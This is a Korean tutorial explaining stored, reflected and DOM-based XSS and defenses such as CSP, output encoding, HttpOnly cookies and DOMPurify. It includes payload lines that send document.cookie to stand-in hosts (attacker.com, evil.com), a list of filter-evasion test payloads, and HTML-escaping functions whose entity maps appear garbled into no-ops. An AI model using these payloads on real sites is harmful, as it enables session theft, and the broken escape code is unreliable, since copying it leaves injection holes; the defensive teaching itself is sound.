🎯 XSS(Cross-Site Scripting)란? XSS는 공격자가 웹 페이지에 악성 스크립트를 삽입 하여 다른 사용자의 브라우저에서 실행시키는 공격입니다. 사용자의 쿠키, 세션 토큰을 탈취하거나, 사용자인 척 행동할 수 있습니다.
XSS vs CSRF 차이점
구분
XSS
CSRF
공격 대상
웹사이트의 사용자
웹사이트의 서버
공격 방식
악성 스크립트 실행
사용자 권한으로 요청 전송
주요 수단
JavaScript 주입
자동 폼 제출, 이미지 태그
탈취 가능
쿠키, 세션, DOM, 키 입력 등
불가능 (요청만 가능)
🔍 XSS 공격 유형 1. Stored XSS (저장형) 악성 스크립트가 서버 데이터베이스에 저장 되어, 해당 페이지를 보는 모든 사용자에게 실행됩니다.가장 위험한 XSS 공격입니다.
공격 시나리오 const comment = '<script> fetch("https://attacker.com/steal?cookie=" + document.cookie); </script>' ;<div class ="comment" > <script > fetch ("https://attacker.com/steal?cookie=" + document .cookie ); </script > </div >
실제 사례 이름: <img src =x onerror =" new Image().src='https://evil.com/log?c='+document.cookie " >제목: <svg onload ="alert('XSS')" > <iframe src ="javascript:alert('XSS')" > </iframe >
2. Reflected XSS (반사형) 악성 스크립트가 URL 파라미터나 폼 입력 을 통해 즉시 반사되어 실행됩니다. 서버에 저장되지 않으며, 피싱 링크를 통해 전파됩니다.
공격 시나리오 https :app.get ('/search' , (req, res ) => { const query = req.query .q ; res.send (`검색 결과: ${query} ` ); }); <div > 검색 결과: <script > alert ('XSS' )</script > </div >
피싱 공격 예시 공격자가 이메일로 전송하는 링크: https://bank.com/login?redirect=<script> document.location='https://evil.com/phishing?cookie='+document.cookie </script> 사용자가 클릭하면: 1. 은행 사이트에서 스크립트 실행 2. 쿠키가 공격자 서버로 전송 3. 공격자가 세션 하이재킹
3. DOM-based XSS (DOM 기반) 서버를 거치지 않고 클라이언트 측 JavaScript에서 발생합니다. URL Fragment(#)나 DOM 조작 시 발생합니다.
공격 시나리오 const urlParams = new URLSearchParams (window .location .search );const name = urlParams.get ('name' );document .getElementById ('welcome' ).innerHTML = `환영합니다, ${name} 님!` ;https :<div id ="welcome" > 환영합니다, <img src =x onerror ="alert('XSS')" > 님! </div >
위험한 DOM API element.innerHTML = userInput; element.outerHTML = userInput; document .write (userInput);eval (userInput);setTimeout (userInput, 1000 );new Function (userInput);element.textContent = userInput; element.innerText = userInput;
🛡️ XSS 방어 기법 백엔드 검증 (필수) @PostMapping("/comment") public ResponseEntity<?> createComment(@Valid @RequestBody CommentDto dto) { return ResponseEntity.ok(commentService.save(dto)); } public class CommentDto { @NotBlank @Size(min = 1, max = 500) @Pattern(regexp = "^[^<>]*$", message = "HTML 태그는 허용되지 않습니다") private String content; }
const { body, validationResult } = require ('express-validator' );app.post ('/comment' , body ('content' ) .trim () .isLength ({ min : 1 , max : 500 }) .escape (), (req, res ) => { const errors = validationResult (req); if (!errors.isEmpty ()) { return res.status (400 ).json ({ errors : errors.array () }); } } );
HTML 엔티티 인코딩 function escapeHtml (text ) { const map = { '&' : '&' , '<' : '<' , '>' : '>' , '"' : '"' , "'" : ''' , '/' : '/' }; return text.replace (/[&<>"'/]/g , char => map[char]); } const userInput = '<script>alert("XSS")</script>' ;const safe = escapeHtml(userInput);console .log (safe);
2. 출력 인코딩 (Output Encoding) 템플릿 엔진 자동 이스케이프 <div th:text ="${userInput}" > </div > <div th:utext ="${userInput}" > </div >
function Comment ({ text } ) { return <div > {text}</div > ; } function DangerousComment ({ html } ) { return <div dangerouslySetInnerHTML ={{ __html: html }} /> ; }
<!-- Vue.js - 기본적으로 이스케이프 --> <template> <div>{{ userInput }}</div> <!-- 안전: HTML 엔티티로 변환 --> <div v-html="userInput"></div> <!-- ⚠️ 위험: HTML 그대로 렌더링 --> </template>
3. Content Security Policy (CSP) 브라우저에게 “어떤 스크립트를 실행할지” 알려주는 보안 정책입니다.
CSP 헤더 설정 Content-Security-Policy : default-src 'self'; script-src 'self' https://trusted-cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.example.com; font-src 'self' https://fonts.googleapis.com; object-src 'none'; base-uri 'self'; form-action 'self';
CSP 디렉티브 설명
디렉티브
설명
default-src
모든 리소스의 기본 정책
script-src
JavaScript 실행 가능한 출처
style-src
CSS 출처
img-src
이미지 출처
connect-src
AJAX, WebSocket 연결 허용 출처
font-src
폰트 출처
object-src
<object>, <embed> 태그 출처
base-uri
<base> 태그 제한
form-action
폼 제출 가능한 URL
CSP 특수 값 'none' - 모든 출처 차단 'self' - 같은 도메인만 허용 'unsafe-inline' - 인라인 스크립트/스타일 허용 (⚠️ 위험) 'unsafe-eval' - eval() 사용 허용 (⚠️ 위험) 'strict-dynamic' - Nonce/Hash로 로드된 스크립트가 생성한 스크립트 허용 'nonce-<random>' - 특정 난수를 가진 스크립트만 허용 'sha256-<hash>' - 특정 해시를 가진 스크립트만 허용
Spring Boot CSP 설정 @Configuration public class SecurityConfig { @Bean public SecurityFilterChain filterChain (HttpSecurity http) throws Exception { http .headers(headers -> headers .contentSecurityPolicy(csp -> csp .policyDirectives( "default-src 'self'; " + "script-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:; " + "font-src 'self' https://fonts.googleapis.com; " + "connect-src 'self' https://api.example.com; " + "frame-ancestors 'none'; " + "base-uri 'self'; " + "form-action 'self'" ) ) ); return http.build(); } }
Nonce 기반 CSP (권장) @GetMapping("/page") public String page (Model model) { String nonce = generateRandomNonce(); model.addAttribute("cspNonce" , nonce); return "page" ; } private String generateRandomNonce () { byte [] nonceBytes = new byte [16 ]; new SecureRandom ().nextBytes(nonceBytes); return Base64.getEncoder().encodeToString(nonceBytes); }
<html > <head > <meta http-equiv ="Content-Security-Policy" th:content ="'script-src ''nonce-' + ${cspNonce} + ''''" > </head > <body > <script th:nonce ="${cspNonce}" > console .log ('This script will execute' ); </script > <script > console .log ('This will be blocked' ); </script > </body > </html >
4. HTTPOnly & Secure 쿠키 Set-Cookie : session_id=abc123; HttpOnly; # JavaScript로 접근 불가 Secure; # HTTPS에서만 전송 SameSite=Strict # CSRF 방어
Spring Boot 설정 server: servlet: session: cookie: http-only: true secure: true same-site: strict
@PostMapping("/login") public ResponseEntity<?> login(@RequestBody LoginDto dto, HttpServletResponse response) { String sessionId = authService.login(dto); ResponseCookie cookie = ResponseCookie.from("session_id" , sessionId) .httpOnly(true ) .secure(true ) .sameSite("Strict" ) .path("/" ) .maxAge(Duration.ofHours(1 )) .build(); response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString()); return ResponseEntity.ok().build(); }
5. 라이브러리를 이용한 새니타이제이션 DOMPurify (JavaScript) import DOMPurify from 'dompurify' ;const dirty = '<img src=x onerror="alert(\'XSS\')"> <b>Hello</b>' ;const clean = DOMPurify .sanitize (dirty);console .log (clean);const clean = DOMPurify .sanitize (dirty, { ALLOWED_TAGS : ['b' , 'i' , 'u' , 'strong' , 'em' ], ALLOWED_ATTR : ['href' , 'title' ] });
OWASP Java HTML Sanitizer import org.owasp.html.PolicyFactory;import org.owasp.html.Sanitizers;PolicyFactory policy = Sanitizers.FORMATTING .and(Sanitizers.LINKS); String unsafe = "<script>alert('XSS')</script><b>Hello</b>" ;String safe = policy.sanitize(unsafe);System.out.println(safe); PolicyFactory customPolicy = new HtmlPolicyBuilder () .allowElements("p" , "div" , "span" , "b" , "i" , "strong" , "em" ) .allowAttributes("href" ).onElements("a" ) .allowAttributes("class" ).matching(Pattern.compile("[a-zA-Z0-9-_]+" )) .toFactory();
6. 프레임워크 기본 보호 기능 활용 React function SafeComponent ({ userInput } ) { return <div > {userInput}</div > ; } function DangerousComponent ({ html } ) { return <div dangerouslySetInnerHTML ={{ __html: html }} /> ; } import DOMPurify from 'dompurify' ;function SafeHtmlComponent ({ html } ) { const clean = DOMPurify .sanitize (html); return <div dangerouslySetInnerHTML ={{ __html: clean }} /> ; }
Vue.js <template> <!-- ✅ 안전 - 자동 이스케이프 --> <div>{{ userInput }}</div> <!-- ❌ 위험 - HTML 직접 렌더링 --> <div v-html="userInput"></div> <!-- ✅ 안전 - 정제 후 사용 --> <div v-html="sanitizedInput"></div> </template> <script> import DOMPurify from 'dompurify'; export default { props: ['userInput'], computed: { sanitizedInput() { return DOMPurify.sanitize(this.userInput); } } }; </script>
🎯 실전 방어 전략 계층별 방어 (Defense in Depth) 1 . 입력 단계 ✅ 클라이언트 측 검증 (UX 개선용) ✅ 서버 측 검증 (필수) ✅ 화이트리스트 기반 검증 2 . 저장 단계 ✅ 인코딩된 형태로 저장 ✅ DB 파라미터 바인딩 사용 (SQL Injection 방어) 3 . 출력 단계 ✅ 템플릿 엔진 자동 이스케이프 ✅ Context-aware 인코딩 ✅ DOMPurify 등 라이브러리 활용 4 . 브라우저 단계 ✅ CSP 헤더 설정 ✅ HttpOnly 쿠키 ✅ X-XSS-Protection 헤더
Context-aware 인코딩 const htmlEncoded = escapeHtml(userInput);element.textContent = htmlEncoded; const jsEncoded = JSON .stringify (userInput);const script = `var name = ${jsEncoded} ;` ;const urlEncoded = encodeURIComponent (userInput);const url = `https://example.com/search?q=${urlEncoded} ` ;const cssEncoded = userInput.replace (/[<>"']/g , '\\$&' );
Spring Security 헤더 설정 @Configuration public class SecurityConfig { @Bean public SecurityFilterChain filterChain (HttpSecurity http) throws Exception { http .headers(headers -> headers .xssProtection(xss -> xss .headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK) ) .contentSecurityPolicy(csp -> csp .policyDirectives( "default-src 'self'; " + "script-src 'self' 'nonce-{nonce}'; " + "style-src 'self' 'unsafe-inline'; " + "img-src 'self' data: https:; " + "frame-ancestors 'none'" ) ) .frameOptions(frame -> frame.deny()) .contentTypeOptions(Customizer.withDefaults()) ); return http.build(); } }
🧪 XSS 공격 테스트 페이로드 예시 <script > alert ('XSS' )</script > <img src =x onerror ="alert('XSS')" > <svg onload ="alert('XSS')" > <body onload ="alert('XSS')" > <div onmouseover ="alert('XSS')" > hover me</div > <a href ="javascript:alert('XSS')" > click</a > <iframe src ="data:text/html,<script>alert('XSS')</script>" > </iframe > <img src =x onerror ="a l e r t ( ' XSS' ) " > <ScRiPt > alert ('XSS' )</ScRiPt > <img src =x onerror ="alert('XSS')" /> <script > alert (String .fromCharCode (88 ,83 ,83 ))</script >
자동화 테스트 import { render, screen } from '@testing-library/react' ;import DOMPurify from 'dompurify' ;test ('XSS 공격이 차단되는지 확인' , () => { const maliciousInput = '<img src=x onerror="alert(\'XSS\')">' ; const sanitized = DOMPurify .sanitize (maliciousInput); expect (sanitized).not .toContain ('onerror' ); expect (sanitized).not .toContain ('alert' ); }); test ('정상적인 HTML은 허용되는지 확인' , () => { const safeInput = '<b>Hello</b>' ; const sanitized = DOMPurify .sanitize (safeInput); expect (sanitized).toBe ('<b>Hello</b>' ); });
@Test void testXssProtection () throws Exception { String maliciousComment = "<script>alert('XSS')</script>" ; mockMvc.perform(post("/api/comments" ) .contentType(MediaType.APPLICATION_JSON) .content("{\"content\":\"" + maliciousComment + "\"}" )) .andExpect(status().isBadRequest()) .andExpect(jsonPath("$.message" ) .value(containsString("HTML 태그는 허용되지 않습니다" ))); }
⚠️ 주의사항 잘못된 방어 방법 function badFilter (input ) { return input.replace (/<script>/gi , '' ); } function badEscape (input ) { return input.replace (/</g , '<' ).replace (/>/g , '>' ); }
올바른 방어 방법 function allowOnlyText (input ) { return input.replace (/[^\w\s가-힣]/g , '' ); } function properEscape (text ) { return text.replace (/[&<>"'\/]/g , char => ({ '&' : '&' , '<' : '<' , '>' : '>' , '"' : '"' , "'" : ''' , '/' : '/' })[char]); } import DOMPurify from 'dompurify' ;const clean = DOMPurify .sanitize (input);
✅ 보안 체크리스트
🎓 결론 XSS는 사용자 입력을 신뢰하지 않는 것 이 핵심입니다.
핵심 방어 원칙:
입력 검증 - 서버에서 모든 입력 검증
출력 인코딩 - Context-aware 인코딩 적용
CSP 설정 - 스크립트 실행 제어
HttpOnly 쿠키 - JavaScript로 쿠키 접근 차단
라이브러리 활용 - DOMPurify 등 검증된 도구 사용
단일 방어보다는 **여러 계층의 방어(Defense in Depth)**를 구축하여 하나가 뚫려도 다른 방어선에서 막을 수 있도록 해야 합니다.